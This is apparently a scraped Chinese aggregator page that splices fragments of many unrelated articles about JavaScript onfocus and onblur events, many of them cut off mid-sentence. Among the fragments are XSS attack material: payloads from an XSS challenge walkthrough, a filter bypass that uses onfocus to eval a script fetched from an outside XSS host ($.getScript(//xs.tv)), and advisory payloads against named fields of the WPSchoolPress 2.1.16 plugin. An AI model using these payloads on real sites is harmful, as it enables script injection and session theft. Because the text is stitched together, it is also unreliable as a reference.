my.ui={}; my.app={}; my.ui.textChange=function (obj,str) { //参数 obj.onfocus
事件绑定(onclick,onfocus,onblur) 常用绑定方式 方式一:通过 HTML标签中的事件属性进行绑定 在HTML标签中加入,onclick属性,并在后面加上需要的方法。 事件属性名 说明 onclick 鼠标单击事件 onblur 元素失去焦点 onfocus 元素获得焦点 onload 某个页面或图像被完成加载 onsubmit 当表单提交时触发该事件 onmouseover 鼠标被移到某元素之上 onmouseout 鼠标从某元素移开 小案例讲解 onfocus and onblur onfocus 获得焦点事件。 姓名:<input type="text" id = "name"> 当输入字段获得焦点时,会触发一个更改背景颜色的函数 <script> // 通过onfocus
例 1.1 onblur和onfocus onblur失去焦点和onfocus得到焦点事件。 <! 用户名:<INPUT id="u" TYPE="text" NAME="" onblur="check(this)" onfocus="rese()"><
原文链接:https://bobbyhadz.com/blog/typescript-react-onfocus-onblur-event-type[1] 作者:Borislav Hadzhiev[2 ] 正文从这开始~ 在React中,使用React.FocusEvent<HTMLElement> 类型来类型声明onFocus和onBlur事件。 FocusEvent接口用于onFocus和onBlur事件。 现在我们知道了示例中onFocus和 onBlur的正确类型,是React.FocusEvent<HTMLInputElement, Element> 。我们可以提取我们的处理函数。 注意,你可以使用这种方法获取所有事件的类型,而不仅仅是onFocus和 onBlur事件。只要你内联编写事件处理函数,并将鼠标悬停在event参数上,TypeScript就能推断出事件的类型。
right" valign="top">备注:
一、案例需求 实现如下效果 , 默认状态下 , 表单显示灰色提示字体 , 点击表单输入内容是黑色字体的 ; 二、案例核心要点 1、获取焦点事件 - onfocus 事件 在 JavaScript 中 , 当 DOM 元素 获得焦点时 , 该 DOM 元素上绑定的 onfocus 事件被触发 ; 绑定该 onfocus 事件的元素 一般都是 input 表单元素 ; 如 : 当 用户 点击输入框 或 通过键盘切换到输入框时 , 该事件会被触发 ; 绑定 onfocus 事件的方法 : 设置 onfocus 属性 : 可以 通过 DOM 操作 , 给元素添加 onfocus 属性 , 来指定当焦点集中在元素上时要执行的JavaScript 代码 ; // 行内设置 : 使用 onfocus 属性 <input type="text" onfocus="myFunction()"> // JavaScript 脚本中设置 var text 注册 获得焦点 事件 onfocus text.onfocus = function() { // 如果 input 表单获取焦点 , 则显示 " 请输入搜索内容
payload如下 "><script>alert()</script><" 第三关(事件注入) 尝试使用上一关的内容进行绕过,被转义,只能想想其他办法了 在JavaScript中有一个函数onfocus ,触发onfocus事件 第四关(引号类型) 使用上一关的结果进行注入,尝试失败 分析源码,发现外围是双引号,双包单了,不符合javascript 的onfocus事件绑定 切换payload为双引号即可 " onfocus=javascript:alert() " 提交payload后,需要点击input框,触发onfocus事件 第五关(a标签注入) 尝试输入脚本标签,被强行切换为scr_ipt 使用上一关的方法 t_sort=" onfocus="javascript:alert()" type=" level10.php? 事件,并且把隐藏的input给显示出来,payload如下 REFERER:" onfocus="javascript:alert()" type="text" " over!
this.value = value; console.info('值变化为: ' + value); // 可以在这里执行其他操作,如数据验证、联动更新等 }})3.2 输入框聚焦事件通过onFocus 回调函数可以监听输入框的聚焦事件:NumberBox({ value: this.value, onFocus: () => { console.info('输入框获得焦点'); // onFocus:当输入框获得焦点时触发,不接收参数。onBlur:当输入框失去焦点时触发,不接收参数。 回调 if (this.onFocus) { this.onFocus(); }}// 输入框失焦处理private handleBlur() { this.isFocused = false 通过onChange、onFocus和onBlur回调函数,开发者可以灵活地响应用户的交互行为,实现更加丰富的功能。
1、选择年 <input id="d1212" class="Wdate" type="text" onfocus="WdatePicker({dateFmt:'yyyy年'})"/> 2、选择季度: <input id="d1213" class="Wdate" type="text" onfocus="WdatePicker({dateFmt:'yyyy年MM季度',disabledDates:[ init方法中加一句 hide($d.MI, $d.leftImg, $d.rightImg); 3、选择月度 <input id="d1212" class="Wdate" type="text" onfocus ="WdatePicker({dateFmt:'yyyy年MM月'})"/> 4、选择周 <input id="d121" class="Wdate" type="text" onfocus="WdatePicker value=$dp.cal.getP('y')+$dp.cal.getP('W','WW'); } 5、选择日 <input id="d1212" class="Wdate" type="text" onfocus
onfocus 元素获取焦点时触发 onblur 元素失去焦点时触发 onchange 该事件在表单元素的内容改变时触发<input>, <keygen>, <select>, 和 <textarea> onfocus 元素获取焦点时触发 onsubmit 表单提交时触发 onload 加载页面 onload 通常用于 <body> 元素,在页面完全载入后(包括图片、css文件等等。) ele.onclick = function () { alert('点我 do something...') } </script> </body> onfocus 和 onblur onfocus 获取焦点的时候触发 onblur 当元素失去焦点的时候触发 使用示例 <body>
input type="text" onchange="myFunction()">
支持该事件的 HTML 标签:
<input type="text">, <select>, <textarea>
3.onfocus :元素获取焦点时触发
当 input 输入框获取焦点时执行,通常也用于 <input>, <select>, 和,所有主要浏览器都支持 onfocus 事件。 <input type="text" onfocus="myFunction()">
支持该事件的 HTML 标签:
, <acronym>, , , , < thead>,
.native 修饰符:
<body class="">
<script>
// 获取元素
var text = document.querySelector('input');
// 注册事件 获得焦点事件 onfocus text.onfocus = function() {
if (this.value === '内容') { // 当获取到内容的时候 <script>
// 获取元素
var text = document.querySelector('input');
// 注册事件 获得焦点事件 onfocus text.onfocus = function() {
if (this.value === '内容') { // 当获取到内容的时候 vaildate.isNotBlank(loginInfo)) {
return setmsg('必填值')
}
}
const onfocus = (e:any) => { e.target.value.replace(/,/g, ''))
return setmsg('')
}
return (
<React.Fragment>
<input type="text" onFocus ={onfocus} onBlur={onBlur} value={loginInfo} name="username" onChange={(e) => { onchange(e) }} /> input name="pwuser" type="text" id="pwuser" value="账号" onBlur="if(this.value=="") this.value="账号";" onFocus <input name="pwpwd" type="password" value="******" onBlur="if(this.value=="") this.value="******";" onFocus focus():得到焦点时使用,和javascript中的onfocus使用方法相同。 如下示例所示的
示例展示
(https://coder.itclan.cn/fontend/js/26-set-form-style/)
原生Js实现
如下是简易的示例代码,要想实现这一个效果,必须要知道onfocus 和onblur,前者是聚焦的回调事件,而后者是控件失去焦点的回调
在一个网页里,永远都只能有一个控件获得焦点,因此需要遍历所有的控件,为它们定义相同的onfocus以及onblur的逻辑
当控件获得焦点时 / 循环遍历
for(var i = 0;i<elements.length;i++) {
var e = elements[i]; // 当前的控件
e.onfocus text-align: center;
margin: 20px 0 20px 0;
}
</style>
总结
无论是原生js还是Vue版本实现,都需要使用onblur(input框失去焦点)与onfocus onload等常见事件全部被过滤,最长处最大长度为32个字符,+,等特殊字符被过滤,这就意味着,a标签,各种编码机制都不能用~~真是有够变态的,但是也通过测试得知能够执行的事件有onscroll,onfocus ,onfocus,并且unciode 编码没被过滤,没过滤的标签为 body,input,br,i 标签。 就是他后台调用的jquery框架,
由此自己研究出了一个新的拆分跨站
思路就是:
我们先构造一个函数,只要鼠标滚轮移动,就让所有的事件获取焦点,再用input标签启动onfocus函数 分别加载我的XSS 站点(如果你没听懂的话,看看下面的代码)
代码如下,首先我们来了解下 一些javascript的事件以及函数
onscroll 事件 在元素滚动条在滚动时触发
onfocus 事件在对象获得焦点时发生 ,当input标签获取了焦点的时候,就会触发onfocus函数,我在onfocus函数里的代码意思是 获取i标签里的内容(也就是 $.getScript(//xs.tv) ),并且用eval执行它,所以这段代码整体的执行效果就是 page=sch-settings&sc=subField) 并将以下有效负载放入“字段”:“ autofocus onfocus=alert(/XSS/)// 编辑创建的主题标记时会触发 XSS(即 page=sch-subject),在主题名称字段中包含以下有效负载:“ autofocus onfocus=alert(/XSS/)// 编辑主题时会触发 XSS
- 在考试名称字段中使用以下有效负载创建一个新考试 page=sch-exams):“ autofocus onfocus=alert(/XSS/)// 编辑 Exam=20 时会触发 XSS
请注意,其中一些 XSS 问题可以由教师(中等特权用户) 方法1: onfocus=this.blur()
<input type="text" name="input1" value="中国" onfocus=this.blur()>
方法2:readonly 这样我们在看到的效果里就会是文本框里有我是提示文字的文字了,当我们点击文本框即文本框获取到了焦点,这时将value的值设置为空,例如:
function removeWenzi(){
$("#inp").val("");
}
这时给input添加onfocus 事件,例如<input id="inp" onfocus="removeWenzi()" value="我是提示文字" />这样我们点击文本框的时候文字就会消失。 ==""){
$("inp").val("我是提示文字");
}
}
这时,给input添加onblur事件,例如<input id="inp" onblur="addWenzi()" onfocus, , , <var>
4.onfocusin:元素即将获取焦点时触发
onfocusin 事件在一个元素即将获得焦点时触发,onfocusin 事件类似于 onfocus 主要的区别是 onfocus 事件不支持冒泡。因此,如果你想知道元素或者其子元素是否获取焦点,需要使用 onfocusin 事件。
Vue.js-自定义事件例子
原
获取焦点后隐藏提示内容的输入框
React input金额千分位格式化
在js(jquery)中获得文本框焦点和失去焦点的方法
JS如何为表单聚焦控件设置醒目的样式
攻破黑市之拿下吃鸡DNF等游戏钓鱼站群
WordPress Plugin WPSchoolPress 2.1.16 - 'Multiple' 跨站脚本 (XSS)
HTML中让表单input等文本框为只读不可编辑的方法
给input填充提示文字